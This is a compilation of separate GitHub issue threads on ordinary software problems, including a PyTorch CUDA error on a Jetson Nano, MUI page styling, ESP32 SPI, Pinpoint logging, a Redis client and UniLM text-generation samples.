  File "/home/jetson/.virtualenvs/py33d/lib/python3.6/site-packages/torch/nn/modules/module.py", line 532, in __call__
    result = self.forward(*input, **kwargs)
  File "pointnet.py", line 38, in forward
    row, col = radius(pos, pos[idx], self.r, batch, batch[idx], max_num_neighbors=64)
  File "/home/jetson/.virtualenvs/py33d/lib/python3.6/site-packages/torch_geometric/nn/pool/__init__.py", line 159, in radius
    return torch_cluster.radius(x, y, r, batch_x, batch_y, max_num_neighbors)
  File "/home/jetson/.virtualenvs/py33d/lib/python3.6/site-packages/torch_cluster/radius.py", line 76, in radius
    max_num_neighbors)
RuntimeError: CUDA error: too many resources requested for launch (launch_kernel at /media/nvidia/WD_BLUE_2.5_1TB/pytorch/20200116/pytorch-v1.4.0/aten/src/ATen/native/cuda/Loops.cuh:103)
frame #0: c10::Error::Error(c10::SourceLocation, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) + 0x78 (0x7f80044258 in /home/jetson/.virtualenvs/py33d/lib/python3.6/site-packages/torch/lib/libc10.so)

⋮

frame #33: <unknown
 function> + 0x2b06a34 (0x7f82bafa34 in /home/kohei-jetson/.virtualenvs/py33d/lib/python3.6/site-packages/torch/lib/libtorch.so)
frame #34: <unknown function> + 0x48e2098 (0x7f8498b098 in /home/kohei-jetson/.virtualenvs/py33d/lib/python3.6/site-packages/torch/lib/libtorch.so)
frame #35: <unknown function> + 0x68b034 (0x7faa04a034 in /home/kohei-jetson/.virtualenvs/py33d/lib/python3.6/site-packages/torch/lib/libtorch_python.so)
frame #36: <unknown function> + 0x652d28 (0x7faa011d28 in /home/kohei-jetson/.virtualenvs/py33d/lib/python3.6/site-packages/torch/lib/libtorch_python.so)
frame #37: <unknown function> + 0x296ce4 (0x7fa9c55ce4 in /home/kohei-jetson/.virtualenvs/py33d/lib/python3.6/site-packages/torch/lib/libtorch_python.so)
<omitting python frames>
frame #39: python() [0x52ba70]
frame #41: python() [0x52b108]
frame #42: python() [0x52b69c]
frame #43: python() [0x52b8f4]
frame #45: python() [0x52b108]
frame #46: python() [0x52b69c]
frame #47: python() [0x52b8f4]
frame #49: python() [0x529978]
frame #51: python() [0x5f4d34]
frame #54: python() [0x52b108]
frame #57: python() [0x5f4d34]
frame #59: python() [0x597fb4]
frame #62: python() [0x529978]

Can you tell me something about your input? Like batch size or number of points. Does it work when reducing either of those?

An example of a test dataset is shown below.

Test Dataset

Number of datasets: 210
batch_size: 10
Number of input points: 100
The number of input points is 100 for all 210 datasets.

DataLoader

DataLoader: <torch_geometric.data.dataloader.DataLoader object at 0x7f2f62caa160>
len(DataLoader): 21

Batch

Batch: Batch(batch=[1000], pos=[1000, 3], y=[10])

Data

Data: Data(pos=[100, 3], y=[1])
type(Data.pos) <class 'torch.Tensor'>
Data.pos.dtype torch.float32
type(Data.y) <class 'torch.Tensor'>
Data.y.dtype torch.int64

I experimented with different batch sizes and number of input points.

device
batchsize
number of input points
result

Colabo
10
100
◯

Jetson Nano
10
100
×

Colabo
1
100
◯

Jetson Nano
1
100
×

Colabo
1
50
◯

Jetson Nano
1
50
×

I see, so it does not work for any input. This suggest that radius might be broken on this device. Can you do me a favor and see if it fixes the issue when running the radius method on CPU?

How do I run the radius method on the CPU?
Should I, for example, call the model I learned in Colab on my Mac and make an inference?

just add cpu() calls to all input arguments, and put the output back to the GPU.

I've changed the code to the following.
row, col = radius(pos.cpu(), pos[idx].cpu(), self.r, batch.cpu(), batch[idx].cpu(), max_num_neighbors=64)
row = row.to(device)
col = col.to(device)

As a result, we were able to run the model learned in Colab on the Jetson Nano.

device
batchsize
number of input points
result

Jetson Nano
10
100
◯

Jetson Nano
1
100
◯

Jetson Nano
1
50
◯

I deeply apologize for your courteous response! 🙇♂

Glad that it is working, although I am still unsure what may cause this behavior on GPU.


x_ prefix in documentation for slots whose names begin with a digit

gen-docs and/or mkdocs is prepending slots whose names start with a digit with x_.

x_16s_recover.md
x_16s_recover_software.md

Is that what we want? What are the consequences in terms of page browsing?
We should have  style guide for term contributors and some automated quality checks.

its not ideal, but if the slots cannot start with a digit then I guess thats as good an option as any.
Definitely a good idea to dissuade contributors from using numbers at the start of a new term name so documentation somewhere will be helpful.
If we implement QC somewhere would that mean the current terms starting with numbers will fail?


Belinda_NextJS_Sprint_3_244_Transition_forget_password_page_to _MUI

I have transitioned the forget-password page into the MUI CSS framework.
NOTE: the form tag is still using the old CSS but cannot seem to have MUI syntax within the form tag. Let me know if you would like to me to transition the form tag into the new syntax via custom function method using MUI syntax.

Thank you for making this change.
I implemented the sign-in page using Box with the component as a form. (similar to the NSC app)

Currently the web appearance as the screenshot:

We may need to add more styling to make it visible.

I have added more styling for more clarity and have updated the font to be more inline with the rest of the website. Let me know if there is anything else or something wrong

To maintain consistency across pages, you can use the sign-in page as a reference.
Current appearance:

Expecting something like this:

I have adjusted the forgot password page's style to look like the screenshot Tin has provided me.


SoftSPI?

From https://github.com/Carlo47/CYD_Basics/blob/638e8ab7bfd68cd93731ef6cd9b86fb2951932a6/README.md?plain=1#L12
From skimming the code of some of the lvgl (and micropython) code it looks like they use software SPI (slower) rather than hardware SPI, I think to allow reuse. I've not tested this out but thought it was worth sharing, just-in-case you'd not seen lvgl.

See https://github.com/witnessmenow/ESP32-Cheap-Yellow-Display/discussions/88

Thank you for your feedback. In the meantime I have also realized that only an additional SPI interface can solve the shortcomings of the CYD design. I came across nitek's software SPI solution (https://registry.platformio.org/libraries/nitek/XPT2046_Bitbang_Slim) and have largely adopted it for my applications where I have to operate all 3 SPI devices.


Configuration class bugged

I doesnt create all the files and then if it does it doesnt populate it

from some tests I did, i think this is a configurate bug or something... The steps of the configuration system is as follows

[x] The configuration file is created
[x] The asset is being detected by sponge
[x] The file is loaded as a ConfigurationNode
[ ] The asset values are requested to be merged
[ ] The configurationnode is saved to reflect any merge changes

We get stuck at the merging stage... simply doesnt want to merge.
Oddly enough the global config does work...

narrowed down the issue to here: https://github.com/MinigameCore/MinigameCore/blob/master/src/main/java/io/github/minigamecore/plugin/config/ConfigurationManagerImpl.java#L48
The if/else check isnt working as it is supposed to :(


Stop Pinpoint logging in catalina.out

Prerequisites
Please answer the following questions for yourself before submitting an issue. YOU MAY DELETE THE PREREQUISITES SECTION.

[x] I checked the documentation,issues and found no answer

Expected Behavior

Please describe the behavior you are expecting

Current Behavior

What is the current behavior?

Failure Information (for bugs)
Please help provide information about the failure if this is a bug. If it is not a bug, please remove the rest of this template.
Steps to Reproduce
Please provide detailed steps for reproducing the issue.

step 1
step 2
you get it...

Context
Please provide any relevant information about your setup. This is important in case the issue is not reproducible except for under certain conditions.

Operating System:

PHP Version:

php.ini:

php-fpm or apache:

pinpoint_agent.conf:

Failure Logs
Please include any relevant log snippets or files here.

pinpoint_log.txt  php.log  php-fpm.log etc (Anything could help us )

Hi Team,
I want to pinpoint logging into catalina.out.
How to do that?
and If i want only ERROR logs, instead of WARN in catalina.out
by changing  file pinpoint-agent/lib/log4j.xml, replacing WARN with ERROR will work?
if not, then how to do that.

<log4j:configuration xmlns:log4j='http://jakarta.apache.org/log4j/'>
<appender name="console" class="org.apache.log4j.ConsoleAppender">
    <param name="Threshold" value="WARN"/>

Log's in catalina.out

2019-10-12 09:32:34 WARN  Pinpoint-UdpSpanDataExecutor(8-0) doExecute(). Unexpected Error. Cause:Buffer size cannot exceed 65507. (now:40121, input-size:39822
com.navercorp.pinpoint.thrift.io.BufferOverflowException: Buffer size cannot exceed 65507. (now:40121, input-size:39822
at com.navercorp.pinpoint.thrift.io.UnsafeByteArrayOutputStream.write(UnsafeByteArrayOutputStream.java:99)
at org.apache.thrift.transport.TIOStreamTransport.write(TIOStreamTransport.java:145)
at org.apache.thrift.protocol.TCompactProtocol.writeBinary(TCompactProtocol.java:380)
at org.apache.thrift.protocol.TCompactProtocol.writeString(TCompactProtocol.java:364)
at com.navercorp.pinpoint.thrift.dto.TIntStringStringValue$TIntStringStringValueStandardScheme.write(TIntStringStringValue.java:503)
at com.navercorp.pinpoint.thrift.dto.TIntStringStringValue$TIntStringStringValueStandardScheme.write(TIntStringStringValue.java:448)
at com.navercorp.pinpoint.thrift.dto.TIntStringStringValue.write(TIntStringStringValue.java:384)
at com.navercorp.pinpoint.thrift.dto.TAnnotationValue.standardSchemeWriteValue(TAnnotationValue.java:503)
at org.apache.thrift.TUnion$TUnionStandardScheme.write(TUnion.java:244)
at org.apache.thrift.TUnion$TUnionStandardScheme.write(TUnion.java:213)

@amangupta0297
Hi, please recreate this issue on  "https://github.com/naver/pinpoint/issues" and you can get response there.

Thanks. Closing this thread.


RedisClient does not return any response

redis client connection does not return any error or success message. There is even no time out after waiting for minutes.

Changed to Ubuntu 20.04 with orginal package.json.
See Branch: al_hf_redis_connection
with connect() => redisClient.on('connect', () => console.log('Connected to redis server'));  gets executed.

Depenends on the Error Handling and calling method, we need to explicitly get the ok after pushing date to redis, because there is no accept or ack callback. At least I didn't find anything about that.
Adding Data to Redis works. Getting Data not at the moment.

Installed server on docker container,
for each of the method like get, setEx etc there should be different client object instance.
one instance can not be used for multiple times.


Missing change information on releases

Unfortunately the releases to not contain a change information nor is there a change log file that indicates what has been changes in a new release.

I totally agree, it's one of the things I'm working to have implemented, at least from the perspective of the CLI. Were you thinking of a changelog for definitions?

I think that the usual simple release information in a change log file that is also visible in the release description on github would do the job for cli.
For the definitions we would really need some more advanced mechanism as I eluded https://github.com/flowtype/flow-typed/issues/819.


linters: add some missing linters to the Makefile

Also, updates the GitHub workflow for linters in order to use GitHub Actions when possible and unify all of them in one job.
To install locally the missing linters check markdownlint, typos, ShellCheck and Yamllint.

I think you'll need to keep the OS version conditional around for this.


How to reproduce Long Text Generation examples from paper?

I would appreciate if another user could share the sample commands that can reproduce the interesting results included with the arvix paper. No success so far with original MS repo and only limited, repetitious output using the current huggingface unilm fork and same prompt.
Cheers
Seed line from 1984 used in original paper:
Winston sat back. A sense of complete helplessness had descended upon him.
Published output:
He was now helpless and unmoving. What would that
mean? To become a monk under her mother’s rule. What would it
mean for him to be put at the center of the most dangerous of all of
demons, the demon known as Azrael? He would never know exactly
what that was, or even how it would end, unless he could sense the
strength of Azrael’s mind and soul. It wasn’t only the existence of
his mother, it was all he knew, and every moment. He was trapped
within her embrace, a trapped, torn, battered, crippling presence he
only knew it would mean was eternity. And in the instant that he
was lost his life changed forever, when Azraelis’ spirit touched his
mind, he was engulfed in this dark and mystical, so enchanting and
beautiful force.

Hi @GenTxt ,
I ran a sampling using the same seed prompt. The results are as follows:

Winston sat back . A sense of complete helplessness had descended upon him . A deep breath of fear filled him . He was too late . In fact the last thing he had thought was the thought that he was doomed to this world , and no matter how soon , he would get to this . To escape this life , he was the only way to survive in this life . He wanted to be home , to find the others and return safely to earth , so that he could find the family of his great . Winston felt nothing wrong with his situation . He would be in no position to tell the other passengers at the boarding platforms that they would be rescued , and he could make certain that he never got to the ship . He would never take it to the safety of the vessel and not return . Once he had started his flight , he would be allowed to board the passenger compartment . Winston knew that if the ship got stuck in a mud lake , he would likely die there , which his life would be spared . He knew that he would not be able to escape the wreckage of ship without even getting through it or getting in the air currents of the mud . All of his thoughts had gone straight back to the day he had first dreamed up a life in this earth and so he would not ever regret this decision again . It was all just an accident and he didn ’ t need anything . So he was in a nominative position for the entire voyage on this ship but no one dared try anything in such a dire situation . He was just the one being held in his own , no matter how hard he tried . He had to be the one of the few people left that ever would see him go through this journey and get along with everyone . There would never be more sorrow on his shoulders to be brought back to life . Winston was still very angry that he had been sent over into the ocean for just this little time . He now felt that he should do nothing less to the fate of his children and siblings . Winston himself was not the kind of person to let anyone see how he felt . He was a young man , and he was a young orphan . Winston knew that he wasn ’ t the kind of person to put it off . It was just an accident and he was the type of person to take chances and make a mistake . He was too young for any of this to be his fault . There was no reason to blame his mistakes and he wanted to be on the ship , but he just couldn ’ t wait to start to be

We didn't implement the sampling function in the current huggingface unilm fork. Note that the sampled text would be different with different checkpoints. We use top-k (k=40) sampling algorithm to generate outputs. The flag --new_segment_ids is necessary to initialize the correct segment embedding (index=2) for L2R LM. We also need to sample the distribution using the masked-LM way.